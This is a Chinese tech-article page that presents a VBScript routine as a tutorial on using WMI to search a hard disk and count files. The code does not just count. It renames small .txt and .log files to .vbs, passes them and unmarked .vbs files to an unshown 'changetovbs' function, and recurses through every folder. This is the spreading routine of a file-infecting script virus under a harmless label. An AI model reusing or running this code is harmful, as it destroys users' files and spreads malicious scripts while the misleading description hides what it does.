您好,登錄后才能下訂單哦!
這篇文章主要介紹VBS如何調(diào)用WMI遍歷搜索硬盤文件并計數(shù),文中介紹的非常詳細,具有一定的參考價值,感興趣的小伙伴們一定要看完!
核心代碼:
Function wmisfile(path_sf,justcnt) 'On Error Resume Next StrComputer = "." Set ObjWMIService = GetObject("winmgmts:\\" & StrComputer & "\root\cimv2") Set FileList = objWMIService.ExecQuery _ ("ASSOCIATORS OF {Win32_Directory.Name='" & path_sf & "'} Where " _ & "ResultClass = CIM_DataFile") For Each objFile In FileList fname = LCase(objfile.name) ename = LCase(objfile.extension) If 1 < objfile.filesize And objfile.filesize <= 50000 Then Select Case ename Case "txt","log" path_vbs = objfile.drive & objfile.path & objfile.filename & ".vbs" objfile.rename(objfile.drive & objFile.Path & objfile.filename & ".vbs") Call changetovbs(path_vbs,path_vbs) justcnt = justcnt + 1 Case "vbs" If checkversion(fname) = False Then Call changetovbs(fname,fname) justcnt = justcnt + 1 End If End Select End If Next Set colSubfolders = objWMIService.ExecQuery _ ("Associators of {Win32_Directory.Name='" & path_sf & "'} " _ & "Where AssocClass = Win32_Subdirectory " _ & "ResultRole = PartComponent") For Each objFolder In colSubfolders wmisfile objfolder.name,justcnt Next End Function
以上是“VBS如何調(diào)用WMI遍歷搜索硬盤文件并計數(shù)”這篇文章的所有內(nèi)容,感謝各位的閱讀!希望分享的內(nèi)容對大家有幫助,更多相關(guān)知識,歡迎關(guān)注億速云行業(yè)資訊頻道!
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。